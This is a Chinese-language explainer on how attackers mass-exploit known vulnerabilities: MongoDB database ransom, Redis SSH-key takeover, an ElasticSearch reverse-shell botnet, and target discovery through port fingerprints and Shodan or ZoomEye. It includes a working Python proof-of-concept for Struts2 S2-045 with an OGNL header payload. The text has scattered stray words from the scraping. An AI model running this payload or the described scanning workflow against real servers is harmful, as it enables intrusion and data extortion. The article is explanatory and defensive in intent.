【黑客解析】黑客是如何实现数据库勒索的?

每一次重要通用漏洞的爆发老是会带来一片腥风血雨,任何微小的漏洞,基于43亿IPv4地址这个大基数,老是能够被放大!html

从MongoDB开始到MySQL,黑客瞄准了数据库服务,经过黑客手段获取数据库服务的权限,而后删除数据,在数据库中插入勒索信息,要求支付比特币以赎回数据(可见扩展阅读)。那么黑客是如何实现这整个过程?python

MongoDB勒索事件

在MongoDB的勒索事件里,黑客攻击经过攻击存在未受权访问问题的MongoDB数据库,加密原数据内容,在数据库中插入勒索信息,要求支付比特币以赎回数据。(具体可见雷锋网的报道linux

在这个事件中,咱们来还原下黑客是怎么实现这个流程的:redis

大概是这样一个流程,经过探测互联网上符合的目标,而后使用对应的攻击脚本针对探测获得的目标实现自动化的攻击。shell

而细化到具体的探测目标和Exp的功能,以MongoDB数据勒索这个例子,探测目标主要是探测互联网上开放了27017端口的目标,而后进一步探测是否能够未受权直接链接目标:数据库

而攻击脚本的功能大概是这样的:apache

就MongoDB这个例子,主要是利用了MongoDB未受权访问的这个问题;MongoDB默认安装是没有密码的,而且没有绑定IP,致使的问题就是外网能够访问这些MongoDB,而且因为无需受权,就能够直接未受权访问。安全

其实,这是一个自动漏洞批量利用的过程,不只限于数据勒索,也不只限于开始列的几种数据服务的未受权访问或者弱口令等安全问题,一样其余漏洞也是能够的。服务器

黑客如何利用漏洞

每每一些漏洞在爆发以后,没多久就立刻会爆发出漏洞的PoC和Exp,好比最近的Struts2新漏洞S2-045(CVE-2017-5638),漏洞在3月6日爆出,而在3月7日也就是次日,PoC和Exp已经满天飞,就本次的漏洞来讲,基本国内外大的互联网公司基本没有不受影响的;该漏洞能够致使命令执行,能够得到系统权限,在PoC和Exp出现的第一时间,已经基本是地上地下都在利用和扫描了。网络

import requests
import sys

def poc(url):
    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()). \    (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    headers = {}
    headers["Content-Type"] = payload
    r = requests.get(url, headers=headers)
    if "105059592" in r.content:
        return True
    return False

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "python s2-045.py target"
        sys.exit()
    if poc(sys.argv[1]):
        print "vulnerable"
    else:
        print "not vulnerable"

上面是此次S2-045的PoC,经过这些攻击脚本,黑客能够实现自动化的对漏洞进行利用

15年11月也出现过一个安全事件,就是有黑客团体利用Redis设计缺陷成功入侵了至少10000家的Redis服务器(具体见nosec的报告)。在这个事件里,黑客基于Redis未受权访问问题,经过配合SSH Key的技巧批量的入侵了Redis服务器。

上面的视频是经过手动的方式演示了如何利用这个问题获取服务器的系统权限,而每每这个过程黑客是经过自动化的手段进行的,下面是的视频演示了如何经过工具自动化的获取攻击目标,利用PoC进行验证是否存在Redis未受权访问问题的。

其实每一次爆发的漏洞对于相关黑客来讲,利用的过程不外乎如此;还有个例子,以前国外有个团队,捕获了一个使用ElasticSearch漏洞构建的僵尸网络,利用ElasticSearch的漏洞,对ElasticSearch服务器进行控制,整个僵尸网络最终能够用来进行DDOS攻击(分析报告)。


通过跟踪ElasticSearch公开的漏洞,他们发现,尤为在中国的相关论坛,CVE-2015-1427 被屡次讨论和引用,这是一个ElasticSearch Groovy 脚本引擎的漏洞致使攻击者可绕过沙箱检查执行shell命令的命令执行漏洞。

这是个影响ElasticSearch 1.3.0-1.3.7以及1.4.0到1.4.2的漏洞,相关的PoC也就是漏洞验证代码以及Exp都已经在网上公开,黑客能够利用这个漏洞,执行Shell命令,经过perl执行一个perl脚本,来进行反弹shell,能够达到对服务器的控制。

什么是反弹shell呢?正常咱们经过ssh链接linux等服务器,是主动的方式链接,而反弹shell,shell其实跟咱们经过ssh链接的shell没什么大的区别,而反弹的意思是,控制端经过一些软件,好比nc,也就是netcat在控制端监听某个端口,被控制端,好比说linux 服务器,发起请求到该端口,并将其命令行的输入输出转到控制端。

咱们经过一个视频来看下如何利用这个漏洞进行反弹shell来控制服务器的:

而其实黑客如何利用这个漏洞组建僵尸网络,也只是将这个利用过程自动化,批量化。

看到这我不知道你们是否能够发现,例子中黑客使用的漏洞都不是0DAY或者1DAY,应该算是NDAY(这里的数字指距离漏洞爆发已过去的时间);其实,正如你所见,可能你们平时更多的以为是0DAY的危害很大,但实际的状况是,0DAY更多的时候是做为一种最后的手段,并非随手就能有0DAY,大部分的这种批量的攻击场景基本是NDAY,每次漏洞爆发,都有一大堆目标受影响,但这些受影响的目标,最终又有多少修复了漏洞,这就得另说了;实际的状况就是即便漏洞爆发过去很长时间,甚至一两年的时间也仍有众多的目标受影响,好比14年爆发出来的心脏出血漏洞15年仍有众多目标受影响,甚至包括一些安全厂商的设备和知名互联网公司的服务器,甚至于如今去作检测,也仍有存在漏洞的目标。

漏洞的利用与修复一直都是安全对抗中一个主要的工做内容!

如何获取攻击目标

在上面的内容咱们介绍了不少黑客攻击流程和黑客对漏洞的利用,可是彷佛惟独漏了黑客是哪里获得这些攻击目标的。其实在一开始的MongoDB的说明中已经大概提到了。

每一次重要通用漏洞的爆发老是会带来一片腥风血雨,任何微小的漏洞,基于43亿IPv4地址这个大基数,老是能够被放大!

不知道你们有没有注意到引言的这段话,黑客的攻击其实都是基于43亿的IPv4而进行的,一个再小的漏洞,基于这个基数,那么获得的可攻击目标就不是一个小数。

最简单粗暴的方式,就是拿着攻击脚本经过分布式、自动化的方式所有攻击一遍,固然这个量就有点大,因此更合理的方式是探测符合的目标,好比MongoDB那个事件,须要探测存在MongoDB的服务器,也就是探测端口27017开放的服务器(MongoDB服务默认端口为27017,通常状况28017等状况也有可能,因此黑客在尝试的时候可能不止探测27017这个端口),而后进一步的探测是否符合漏洞利用条件,就MongoDB的例子也就是须要是存在未受权访问的状况,即不须要密码而且可远程链接。

相似MongoDB的端口27017其实就是指纹,黑客经过这些指纹去探测存在漏洞影响组件的服务器,不一样的组件和服务都有不一样的指纹,好比一样是经过端口的方式,那么Redis也就是6379,M有SQL是3306,还有好比说"WWW-Authenticate: Basic realm="TD-8817"这个存在于HTTP头部的指纹能够探测TP-Link TD-8817路由器;固然,不排除自定义的状况,但出于成本等方面的,通常黑客在攻击的时候选择忽略特殊的状况。经过探测出符合漏洞影响组件的目标后,这些目标就成为攻击脚本执行的目标。

除了指纹探测服务或者组件的存在与否,也能够进一步探测安装的组件的版本是否在漏洞影响的版本范围内,以此来缩小最终要使用攻击脚本进行攻击的目标范围。精确的指纹和版本信息,能够缩小须要攻击的目标范围,从而减小攻击成本。

其实,经过指纹的方式对于相关目标进行服务和组件的探测,国内外已经有一些安全平台,好比ZoomEye(https://www.zoomeye.org )、撒旦(https://www.shodan.io/ ,以下图搜索MySQL服务的目标)等,你们若是想尝试,能够直接访问去搜索相关组件的目标,好比"app:wordpress" 在ZoomEye上搜索Wordpress搭建的站点;在Redis那个未受权访问问题的自动化演示的视频中,其实就是调用了ZoomEye的API来获取存在Redis服务的目标。

固然,看到这些平台,你可能第一时间想到的是帮助了攻击者,这个具体怎么看待把,由于这些平台的初衷确定不是如此,就像早期的电脑究竟是好是坏的讨论同样;在相关黑客的手里其实也存在这样的平台,或者就是经过脚本直接根据不一样的漏洞对43亿IPv4或者其余已知目标列表进行探测,而后自动化的攻击。

讲到最后,其实你们能够发现,不只仅是数据勒索,这其实更多的是一种通用的漏洞自动化攻击利用的流程,惟一的区别在不一样的漏洞可以获取的权限不一样,对应的在获取到权限后能作的事也不一样,因此就存在对应的利用,好比数据勒索,好比组件僵尸网络用于DDoS,好比用来挖矿,还好比批量黑了路由器进行DNS劫持等。

在企业的安全风险的不一样维度里,通用漏洞一直是个棘手的问题,由于你无法事先知道问题,只能在漏洞爆发的时候第一时间去修复漏洞,因此,尽量的选择一些靠谱的组件,多关注安全,增强漏洞和安全的应急响应,避免由此致使的安全风险!

本文转载自腾云阁,已得到做者受权。

相关文章
相关标签/搜索
本站公众号
   欢迎关注本站公众号,获取更多信息